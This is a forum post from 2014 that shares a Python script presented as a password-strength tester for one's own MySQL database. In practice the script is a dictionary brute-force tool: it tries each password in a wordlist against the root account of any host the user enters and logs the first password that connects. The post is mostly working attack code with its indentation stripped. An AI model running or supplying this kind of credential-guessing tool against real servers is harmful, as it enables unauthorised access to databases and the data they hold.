Bruteforce a mysql database with dictonnary 01-26-2014, 02:01 PM
#1
This is a script to test if your mysql database password is strong enough. Just call the script and give your dictionnary in argument. I recommend to put the script in the same directory with the dictionnary and type:
python scryptname.py dictionnary.txt
python scryptname.py dictionnary.txt
Code:
#!/usr/bin/env python
#RUN WITH python bruteforcedb.py dictionnarytouse
import MySQLdb
import sys
import time
import re
dictionnaire=str(sys.argv[1]) #grabbing the dictionnary in argument
nb_dic=len(sys.argv) #grabbing argument number
if nb_dic == 1:
print("You must give a dictionnary in argument")
if nb_dic == 2:
print ("Dictionnary used: "+dictionnaire)
if nb_dic > 2:
print ("You must give only one dictionnary in argument")
t0 = time.clock() #taking time
save=open("log.txt","wa") #Openning log file
with open(dictionnaire) as f:
host=raw_input("Host: ")
for line in f:
pass_test=line.rstrip("\r\n") #deleting line jumping
try:
lien_db=MySQLdb.connect(host=host, user="root", passwd=pass_test) #trying to connect to DB
pass_test=pass_test #taking tested password
cursor=lien_db.cursor()
cursor.execute("SELECT VERSION()") #if connection is OK we take version number
data_ver=cursor.fetchone()
if data_ver is not None: #if we have a version number we keep the used password
save.write("Password found: "+pass_test+"\n")
lien_db.close()
break
except:
pass
t1 = time.clock() #taking time
time_ex=t1-t0 #how many time was used ?
save.write("Execution time: "+str(time_ex)+" seconds\n") #writing execution time to log
def StrengtPassword(password): #Testing password strengt
strength = ['Nulle','Very Low','Low','Medium', 'Strong', 'Very Strong']
score = 1
if len(password) < 1:
return strength[0]
if len(password) < 4:
return strength[1]
if len(password) >=8:
score = score + 1
if len(password) >=10:
score = score + 1
if re.search('[a-z]',password) and re.search('[A-Z]',password):
score = score + 1
if re.search('[a-z]',password) and re.search('[A-Z]',password) and re.search('[0-9]',password):
score = score + 1
return strength[score]
save.write("Password complexity: "+StrengtPassword(pass_test)+"\n") #Writing in log
save.write("Closing file") #Writing in log
save.close() #Closing log file
result=open("log.txt","r") #print results
showresult=result.read()
print (showresult)
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
![[Image: wvBFmA5.png]](http://i.imgur.com/wvBFmA5.png)